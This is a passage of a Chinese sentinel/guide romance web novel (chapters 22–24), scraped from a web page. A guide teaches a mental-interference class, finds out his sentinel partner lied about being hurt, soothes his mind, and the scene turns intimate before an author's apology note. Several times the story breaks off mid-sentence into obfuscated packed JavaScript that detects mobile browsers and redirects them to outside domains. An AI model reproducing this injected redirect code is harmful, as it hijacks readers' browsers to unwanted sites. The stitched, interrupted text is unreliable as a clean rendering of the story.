精神干扰不是直接的精神攻击,顾名思义,它是所有向导都需要学习的辅助性战斗技巧: 通过精神力干扰敌方感知、扭曲敌方判断,从而为哨兵创造直接攻击的机会;又或者在敌我势力相差悬殊时混淆敌方认知水平,方便伪装和伺机离开。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15357116|167219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 徐寻月一边回忆自己当初上课时老师的教授方式,一边构建调整自己的教学体系。 “叩叩叩。” 却在这个时候,办公室的门被敲响了。 徐寻月用精神力感知了一下。 下一刻,不知道什么时候出现的阴影便钻出地板,抓住门把手一扭。 “吱——”门被打开。 许孟微果然来找他了。 徐寻月看祝回记忆的时候觉得自己可能认识娃娃脸口中那个在白塔任职的亲哥哥,后来查资料,就记起许孟微当年比他低两届,也是那一届向导的第一。 许家是没落的帝国贵族,血脉凋零,直系年轻一代只有许孟微和许彦安两个,家族很少掺合帝国政事。 虽然是没落的贵族世家,但终究是贵族,许彦安在帝都随便找个护卫队的工作还是没问题的。可惜在刚刚毕业青涩热血的年纪,并不是所有哨兵都一门心思想守在最安全最发达的地方,学成之后,远赴待规划区支持边防是海神纪经典的英雄叙事。 至于许孟微为什么选择在毕业后留在白塔? 可能的理由很多。 哨兵的平均身体素质超过向导、向导的总人数不如哨兵、一个匹配列表广泛的向导可以链接多名哨兵……从地方需求和安全系数等方面考虑,留在中城区和帝都的向导本就比哨兵多。有些边远地区危险系数不高的小哨所,人员调换青黄不接时甚至可能只有一个向导。 在徐寻月将近十年前的遥远记忆里,有过少许交集的许孟微性格散漫,用早期人类的流行用语形容大概就是“咸鱼”。这人有几分怀旧,爱倒腾上个纪元的东西,从学生时代起,就天天骑着他那辆不知道改装过多少次、又维修过多少次的旧摩托突突突地来向导学院上学。 哨兵学院是不允许这种噪音在学院出现的,但向导学院不一样,即便不认识许孟微、不是许孟微那个年级的学生,也会在日复一日中对这种突突声感到熟悉。 说来神奇,天寒地冻的,竟没人见他从车上摔下来过。 “好久不见。” 徐寻月在精神体开门的同时打了招呼,表明自己并未忘记这位学生时代的点头之交。 “好久不见,”许孟微一进门就看到闪闪发光的地板和墙面,愣了一下,随即笑道,“学长效率也太高了,这间办公室一直空置,我还想着会不会需要帮忙。” “的确不用,都已经收拾好了。”徐寻月做了个让他坐在自己对面的手势,说,“还有五十分钟上课,我准备三十分钟之后出门,你要向我介绍一下你班上的情况么?” “这也是我的来意,不知道院长和你说了多少……” 意料之中的是,第一次聊天,许孟微没提许彦安也没提祝回,他只是单纯地和徐寻月叙了两句旧,剩下全是工作,等时间差不多了,还颇为热心地说要带徐寻月去向导学院第二教学楼。 或许是“重伤残疾”的形象过于深入人心,徐寻月这几天开始出门,遇到的人总是想帮他。还不是那种带着怜悯俯视的帮,是或源于好意或源于畏惧、因而无比小心的帮。 祝回不必说,许孟微也是这样,就连作为长辈的夏风,昨天带他在学院乱逛的时候都说要不给他推轮椅吧。 当然,统统被徐寻月拒绝了。 装病弱就是这点不方便。 和许孟微有一搭没一搭聊着天进入教学楼,第二节课的下课铃正好响起。 徐寻月下意识看了眼手腕上的终端。 ……祝回没发消息过来。 22.撒谎 今天这个时间点,祝回课表排的是冷兵器对抗实战课。 这是一门分为三小节的大课,每小节之间有五分钟可以休息。但因为是对抗类实战课,如果老师来了兴致、或者课间时一场切磋没结束,就没有那么固定的休息时间。 这次也许就是这种情况。 徐寻月并不觉得奇怪。即便祝回表现得很粘他,而他也确实对祝回的黏糊劲感到受用,他的控制欲也没到祝回每个课间都必须给他报备的程度。 可总觉得……哪里不对。 这种“不对”像直觉,很淡很模糊,却给他一种心理层面的不舒服,连带着他很少会产生的烦躁。 这是他第一次有这种情绪。 奇怪。 一旁的许孟微见状,还以为徐寻月是收到了什么重要信息,瞬间结束闲聊放慢步速,问他是否需要停下来处理私事。 徐寻月摇了摇头。 他想到自己昨天和祝回说过的话,“去别的地方会告诉”,便打开个人终端,点击列表里的雪狼头像发了条信息。 【徐寻月:准备讲课了。】 原本只是告知,然而下一秒,他就收到了一条信息。 【祝回:好噢,你学生肯定很期待的,中午等你ovo】 仍然是可爱的语气,甚至用上了和本人作风完全不沾边的颜文字,徐寻月却皱了皱眉。 所以,祝回是下了课的? 不对、不舒服、烦躁。 指尖飞速输入,或许是直觉作用的缘故,他用词变得强硬。 【徐寻月:发一张你现在的照片给我。】 十五秒后。 【祝回:图片.jpg】 【祝回:刚刚上课训练量有点大,体温暂时降不下去,拍得不是很好看[可怜小狼.jpg]】 他发了一张半身照,身上仍是哨兵学院的那套黑色制服,护颈衣领、作战腰带、半指手套……都和早上出门前相差不大。 短发凌乱了些,大概是切磋对抗所导致的;脸比平常略红一点,但又不是在徐寻月面前那种程度的红,符合训练后身体会有的生理反应。 照片边缘是雪白的墙壁,而祝回本人处于照片正中间的位置,他在照片里的神色有些紧张,薄唇微微抿着,目光略低于镜头,似乎是对这个突如其来的命令感到不自在,但还是什么都没问地乖乖照做了。 看上去没有任何不对劲。 徐寻月心里的不适感瞬间减轻大半。 这个结果让他都有些沉默了。 难道心里不舒服真是因为祝回没主动发信息给他? 继续打字。 【徐寻月:你现在在训练室?】 对面依旧回复得很快,说是,随即又发了张训练室的照片过来,还拉着徐寻月聊了会没营养的天。 很快,上课的预备铃就响了。 【祝回:是不是准备讲课了呀,那我不打扰你了。】 【祝回:中午见[小狼亲亲.jpg]】 这时,徐寻月早就到了教室,作为班主任的许孟微先进去都有一会了。 他发了个好,便操控着轮椅进了教室。 原本还有点杂音的地方瞬间鸦雀无声。 在个人终端上十指如飞的、和同学窃窃私语的、朝门口不断张望的……所有人都仿佛被按了暂停键,整个教室像被泡在海水里,而深海静悄悄。 连站在后排和班长于圆说着什么的许孟微都惊了一下。 他也是位实力不俗的青年向导,虽然觉得徐寻月从收到信息起周身的气压就有点低,但他也知道,徐寻月压根没动用精神力或者其他任何形式的力量。 对方只是进入了教室,平时叽叽歪歪的尖子生就安静如鸡了。 虽然学生平时叽叽歪歪有他性格懒散管理宽松的原因,但徐寻月的出场无疑十分有排面,许孟微暗自感慨着,朝他点点头离开了。 教室于是只剩一个新来的老师。 向导和哨兵的上课模式并不完全相同,尤其是根据两种觉醒方向制定的专业课程,这也是白塔分开设立两个学院的原因。 哨兵的所有实战课全都设置在训练室,向导却只有涉及身体对抗的课程会用到训练室,其余和精神力相关的活动不需要移动,就都设置在一种特殊教室。 这种教室和普通教室面积相当,门、窗、墙都采用隔绝精神力的珍贵材料,防止训练时的精神波动向外逸散;此外还给每个人配备了能够测量精神力、模拟敌人接受精神攻击的限量智能仪器。 正式上课铃响之前,徐寻月没说话,只是简单看了看夏风传给他的资料和他之前写的一点教案。 教室保持着无声的状态,明明已经很安静了,却还是有种越来越安静、越来越死寂的感觉。 确实太安静了,徐寻月抬头瞥了一眼,发现所有人都把脑袋压得更低。 徐寻月:“……” 他很可怕吗? 场面有些滑稽,不过既然这样,就让他们一直安静到正式上课吧。 两分钟后,正式铃声响起又结束。 徐寻月关闭个人终端,对着班上终于抬起的三十六双眼睛简单介绍了一下自己,随后直接切入主题。 虽然是实战课,理论仍然需要了解。初学者往往不能真正懂得文字解释背后的含义,对讲述的印象却会刻在脑子里。他们的技巧将随着一次次练习而提升,在未来某一天完全领悟的时候,那种恍然的感觉就会击中大脑,和最初学过的知识重合在一起。 徐寻月做学生的时候不喜欢回答问题,现在当了老师,讲理论也不提问。 “……精神干扰是一项极其消耗精神力的技巧,不能随意使用。在使用它的时候,一定要注意自己的精神力还剩多少、能维持多久,一旦关键时刻干扰中断,造成的后果不可想象。 “海神纪之前,学院的教学只是对人的精神干扰,现在则在原本的基础上多了针对灾变生物的。如果你们毕业之后赴往待规划区,就必须记住一点:精神干扰对灾变体最起效果。它们比任何人类都更加不稳定,也比任何其他灾变生物都更有智慧。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15361873|167219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“不要对基础的灾变生物使用精神干扰,因为它们没有认知能力。” 扎着低马尾的高级向导语气平淡,有时会用视线轻轻扫过全班。这里的每一个人都知道他没有特地在看谁,那双冰蓝色的眼睛并未停留在自己身上,却仍然会在被注视的那个瞬间挺直腰板屏住呼吸。 完全不敢开小差,或者,更为准确地说,是脑子里根本没有开小差这种念头。 于圆皱着眉头听着,她一集中注意力就会下意识皱眉头,这会聚精会神久了,眉间刻痕就跟刀刻出来的似的。 基础要点的讲解很快结束,按照徐寻月的要求,他们开始对自己分配到的智能仪器进行练习。 作为1班班长,于圆在使用精神力方面向来是年级第一,在正式学习这门课之前,她其实在日积月累的学习实践中领悟到类似的手段。不止她,还有一小部分同学也是这样,不过因为数据良好稳定的缘故,她是第一个被徐寻月挑中的。 当时的课程已经进行到最后三分之一。 “这位同学,”徐寻月停顿片刻,把她和许孟微之前的介绍对上,“于圆同学,请你打开仪器的测评记录模式,并对我发动精神干扰。” 于圆愣了愣,声音有些发紧。 “好、好的。” 她照做了,深吸口气将自己的精神力探出、靠近。 然后,她就看见了一片深海。 一片和画册中描绘的灾变区一样的海,蓝黑色,微微泛着波纹,里面没有任何生物,一望无际没有尽头,多看两秒都觉得头晕。 原本一鼓作气的心理变得茫然。 她…… 她是想做什么来着? 好吓人。 为什么这里什么都没有啊? “可以了。”依旧平静的声音将她拉回现实。 于圆瞳孔微缩,在原地猛地甩了甩头,才彻底回过神来。 她看向自己身边的仪器屏幕。 测评已结束,测评结果不合格,测评难度SSS。 “你迷失了,精神力应该更集中一点。” 徐寻月看着她明显有些失落的表情,反而微微笑了一下,像是某种宽慰或鼓励。 “精神干扰不是直接攻击手段,你能使用它的时候往往还没到搏命关头。他者的精神世界是未知的,对任何生物施展精神干扰都要先保护好自己,否则在干扰起效之前,你就已经被永远留下了。” “好的……我明白了,谢谢您。” 之后,剩下的三十四名同学都是相同的待遇,开始快结束也快。每个人都有点蔫,但也得到了针对性的点评和指导。 时间过得很快,在下课铃响起的前一秒,徐寻月的最后一句话也正好说完。 他一边离开教学楼,一边给祝回发了条询问位置的信息。 然而,几乎是同一时刻,对面也发来了消息。 【祝回:对不起。】 【祝回:其实我在医务室,暂时不方便去找你。】 【祝回:你方便的话,可以来一下吗?】 23.69.99% 被气笑是一方面,但看到信息的那一刻,徐寻月终于明白那种模模糊糊又不太舒服的感觉是怎么回事了。 那是对结合哨兵的感应。 哨兵状态下滑、遭遇危机的时候,心里就会产生不舒服的感觉。 这种感觉太基础也太微薄,徐寻月活了二十八年,头一次有这种感应,祝回又在那摆拍撒娇想蒙混过关,最后还真混过去了。 看着终端上源源不断发来的解释信息,徐寻月在学生敬畏又好奇的目光下第一个出了教室。 很好。 既然这么喜欢折腾自己的身体。 之前那些欺负人的理由,就都可以往后放了。 *** 医务室。 穿着白大褂的校医坐在接诊台前,心不在焉地看着手里的专业书籍,还时不时转头瞄一眼房间的侧后方,眼中几分担忧几分畏惧。 在他频频关注的方向,一个身穿黑色作战服的年轻哨兵坐在诊察床上,此刻正神色恹恹地盯着自己的个人终端,戴着半指手套的手上下滑动屏幕,翻来翻去,都在同一个聊天界面。 对面被他备注为“哥哥”,头像是一片茫茫的雪山,发出的最后一条信息来自两分钟前。 【哥哥:知道了。】 再往前,就是哨兵自己发的一串解释。 他没想骗哥哥的。 然而面对命令,他下意识收拾了自己的着装和状态,整理了衣服,调整了表情,顺便用十四秒从医务室跑回训练室拍了张照,给徐寻月发信息的时候,他的确在训练室。 ……这么说,严格意义上他好像没有撒谎? 不行,都什么时候了还琢磨这个。 祝回摇摇头,把这个说出去肯定完蛋的狡辩思路甩出大脑。 他就是不想太打扰哥哥,今天是哥哥入职的第一天,事情发生的时候哥哥都快上课了,当时情况也不严重。 只是没想到哥哥会主动跟他报备查岗…… 想到这,祝回心里美滋滋的,可惜这种高兴在看了眼时间后就烟消云散。 完了。 哥哥已经有三分钟没给他发信息了。 哥哥肯定生气了。 哥哥不来怎么办? 不,就算生气,哥哥应该也会来的。 就在他胡思乱想的时候,一阵车轮轧在雪地上的声音远远传来。 祝回猛地坐直身体,朝门口的方向看去,而他的动静又引起了校医的注意,校医小心翼翼地望了望他,也朝房门看去。 于是,当徐寻月推门而入的时候,就撞上了两个人直勾勾的视线。 他瞥了眼长出口气、似乎如释重负的校医,将目光落在后面的哨兵身上。 哨兵看上去跟那张半身自拍没什么区别,只是脸色并不红润,本来就是冷白皮,现在显得精神更差了一点。 “哗啦——” 校医直接从座位上站了起来,礼貌而难掩激动地道:“徐向导你终于来了!我跟你说一下祝同学的情况吧,他没受伤,就是精神领域不太稳定。几个校医跟他的匹配度都没到60%,他又说要等你来做检查,所以……” “事情他都在终端上跟我说了,”徐寻月点头示意,“这里交给我,不过,得麻烦你回避一下。” 校医一愣,随即恍然。 虽说请外援校医也没有离开的必要,但眼前两人不是结了婚么? 这种情况在哨兵学院有点少见,不过伴侣之间,指不定要做点亲密事。 理解、理解。 反正学院还有其他医务室。 校医乐呵呵地从抽屉里掏出个“请勿打扰”的牌子,把没看完的专业书往腋下一夹,朝二人摆摆手离开了,走时还过分贴心地把牌子挂在门外。 “砰”的一声,门关了,医务室只剩下两个人。 阴影瞬间从徐寻月的精神图景里跑出来。 或许也嗅到了什么不对劲的地方,大片大片的黑色一下子冲到哨兵面前,就像上次在雪原那样把祝回团团围住,急急忙忙地发出小狼崽一般的叫声。 祝回有些无措地看向徐寻月,同时抬了抬脚,以免军靴踩到地上黑得纯粹的家伙们。 “我让精神体暂时睡着了,现在醒可能会咬人……” 徐寻月直接把它们收了回去。 【等下小狼会出来,现在不准捣乱。】 这句说给精神体听的话十分严肃,阴影们全都不吭声了。 重获自由的哨兵从床上跳下来,几步走到徐寻月跟前麻利蹲下,接着仰起脑袋,可怜巴巴地看着也正垂眸看他的人。 “我错了,我应该跟你说实话的。”声音也压得低低软软。 遇事不决先道歉,外加卖乖装可怜。 徐寻月再次被他气笑了。 他来的路上,祝回已经把自己为什么会在医务室的前因后果和盘托出。 简而言之,就是另一个哨兵和祝回对练时忽然失控、攻击性暴增引发的事故。根据祝回的说法,对方虽然战力暴增,却还是被他轻松制服,并没有酿成大祸。 即将毕业的学生本不该出现这种情况,老师就让他们俩都去医务室检查一下。另一个哨兵的检查结果在校医意料之中,可毫发无伤、原本只是来走个过场的祝回却在精神力检测上出了点问题。 一开始,只是检测精神力波动的仪器显示波动过大,后来就有点头疼了,是那种脑子里有很多意识在说话、说什么也听不清的感觉,雪狼因为这个特别烦躁,差点跑到另一间医务室咬罪魁祸首去了。 祝回没有违规违纪,还及时收回了精神体,远不到进禁闭室的地步,可校医也不敢放他走,出了事他们要负责的。 但问题在于,除了徐寻月,学院一时半会找不到和祝回匹配度超过60%的向导,校医只能靠测量仪器进行评估建议,无法提供任何实质性帮助。 本来准备叫徐寻月,祝回却坚持要等到徐寻月下课,校医看看时间,差一个多小时,就咬咬牙硬着头皮等了。 徐寻月看着蹲在轮椅边似乎很乖的哨兵,笑了一下,摸了摸他的脸。 祝回咽了口口水,更紧张了。 要不哥哥还是骂他两句吧。 这样虽然笑得好看,但也好可怕,总觉得会受到更恐怖的未知惩罚…… 等等? 无限跑偏的想象倏然停止,大脑的痛感忽然减轻了,仿佛有一股平和的暖流洗涤全身,整个身体都浸泡在温泉之中。 “现在感觉怎么样?”徐寻月问。 “好多了……” 祝回感觉自己在做梦。 哥哥没骂他。 不仅没骂他,还关心他,给他调节五感,用精神力安抚他。 哥哥绝对是世界上最好的哥哥。 这么想着,向导的手摸上了他额头,祝回立刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15368950|167219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 非常配合地闭上眼睛,撤销自己的精神屏障,将精神图景完全敞开。 *** 这是徐寻月第二次进入祝回的精神图景。 果不其然,上次被清理得很漂亮的雪原上又发生了变化。 和第一次清理之前的废墟不同,这次的变化主要体现在天空和整体氛围。天空是灰黑色的,四处漂浮着不知道是什么的小黑点,就连上次见到的绿绒蒿花瓣也显得有点脏。 像是被另一种风格的存在污染了。 徐寻月神色微凝。 这种风格…… 和帝君这几年给他的感觉很像。 但祝回这几天根本没和帝君接触。 所以是祝回的那个哨兵同学和帝君有接触? 那个人是谁?现在怎么样了?发生这件事是有意还是无意? 祝回被帝君盯上了吗? 呼出口气,徐寻月强行止住即将发散的思绪,决定先解决眼前的事。 如果他没感觉错的话,这次的精神图景不会像上次那样好清理。 他和祝回的匹配度没到70%,可有些深度清理偏偏要求70%。 …… 十分钟后。 感受到向导精神力的撤出,祝回也睁开眼睛,刚准备说话,却被徐寻月单手掐住下巴拉起来亲。 亲吻既强硬又激烈,他本就没恢复多少的思考能力都要被亲化了。 祝回下意识迎合,内心其实有点懵。 头疼已经好了很多,那种乱七八糟的声音似乎也消失了。 这是……这是过去了吗?哥哥真的完全不准备跟他算账? 世上还有这种好事? 哥哥的嘴唇好甜。 管他呢,先亲再说。 医务室里的气氛瞬间暧昧起来,温度一点点升高,唇舌相接的水声时不时响起,将不那么清晰的急促呼吸也衬得分明。 因为靠得太近,徐寻月本就没扎很紧的低马尾都被祝回蹭乱了,微微一偏头,只知道追着他唇跑的哨兵还要继续蹭过来亲。 徐寻月想叹气,但接吻的时候着实没法叹气,便忽然一下拉开距离,握着祝回手臂将他的手腕抬起来。 两个终端相贴。 69.99%。 这时,祝回又靠了过来。 那双琥珀色眼睛里满是不解,还有一点完全放松后不小心泄露出来的不满,看在徐寻月眼中,完全就是在说: 为什么不亲我了? 这个时候也要测匹配度嘛? 徐寻月又气又好笑,心说自己好像还没教训这个小哨兵,怎么就开始翘起尾巴了,却没阻止祝回再次将唇贴上来。 五分钟之后,再次拉开距离。 再测。 69.99%。 相贴的手腕还没分开,祝回又在他脸上亲了一口。 靠在一起的两个终端显示数字不变,还是69.99%。 看来,事实和他推测的一模一样。 徐寻月彻底和祝回拉开距离,看着那双亲得雾蒙蒙的眼睛,忽然抬手,拨了下哨兵系得一丝不苟的作战腰带。 “脱了。” 完完全全的陈述句。 随后,他指尖用力,将尚且茫然且毫无反抗意图的哨兵推得后退几步,直至后腰抵上诊察床床沿,才发出一个不容置疑的指令。 “自己上去趴好。” 24.抽了三下 亲爱的读者不好意思,这章被我申请入V了,但我忘记跟编辑说,于是申请没通过。入V前几章的收益实在很重要,会影响一整本书V后的所有榜单,这里又是一个情节小高潮,所以只能先删一下,真的非常抱歉是我太蠢了(鞠躬) 编辑周末休假,我已经尝试打客服电话和发站内短信联系,但还是很有可能下周一才会看到我的信息。 所以周末两天大概率不更新,作者在此跟大家保证以下: ①在没更新的日子里,原24章5000字涉及的所有情节只会精修增加,不会删减,来晚没看到的大家不会少看。 ②没更新的日子里会继续往后写,如果是下周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15378927|167219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一下周二V,我会直接发一个万字章出来。 卡在这里给辛苦追连载的大家困扰了,非常抱歉TT不过原版5000其实没写完欺负过程,万字章我会让大家看得爽爽的! 大家可以在这一章底下留评论,19号留了评论我都会发小红包补偿,感谢你们的支持和包容(再次鞠躬)